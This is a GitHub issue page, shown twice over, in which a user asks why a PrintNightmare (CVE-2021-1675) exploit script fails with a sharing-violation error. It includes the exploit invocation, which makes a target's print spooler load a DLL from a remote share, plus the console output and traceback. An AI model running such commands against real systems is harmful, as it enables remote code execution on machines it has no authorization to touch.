You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x20 - ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process.
#64
Open
Thorium90 opened this issue
Jan 26, 2022
· 0 comments
And here is my output:
[] Connecting to ncacn_np:xx.xx.xx.xx[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_dcef07064d319714\Amd64\UNIDRV.DLL
[] Executing ??\UNC\xx.xx.xx.xx\data\mydll.dll
[] Try 1...
[] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
File "CVE-2021-1675.py", line 190, in
main(dce, pDriverPath, options.share)
File "CVE-2021-1675.py", line 93, in main
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
File "/usr/local/lib/python3.6/site-packages/impacket-0.9.24.dev1-py3.6.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
return dce.request(request)
File "/usr/local/lib/python3.6/site-packages/impacket-0.9.24.dev1-py3.6.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x20 - ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process.
Can you please help me on that ?
The text was updated successfully, but these errors were encountered:
Hello,
I am having the same issue as #29, but I did not find an answer on the original issue.
Here is my entry:
python3 CVE-2021-1675.py xxx/xxx:[email protected] ‘\xx.xx.xx.xx\data\mydll.dll’
And here is my output:
[] Connecting to ncacn_np:xx.xx.xx.xx[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_dcef07064d319714\Amd64\UNIDRV.DLL
[] Executing ??\UNC\xx.xx.xx.xx\data\mydll.dll
[] Try 1...
[] Stage0: 0
[*] Try 2...
Traceback (most recent call last):
File "CVE-2021-1675.py", line 190, in
main(dce, pDriverPath, options.share)
File "CVE-2021-1675.py", line 93, in main
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
File "/usr/local/lib/python3.6/site-packages/impacket-0.9.24.dev1-py3.6.egg/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx
return dce.request(request)
File "/usr/local/lib/python3.6/site-packages/impacket-0.9.24.dev1-py3.6.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x20 - ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process.
Can you please help me on that ?
The text was updated successfully, but these errors were encountered: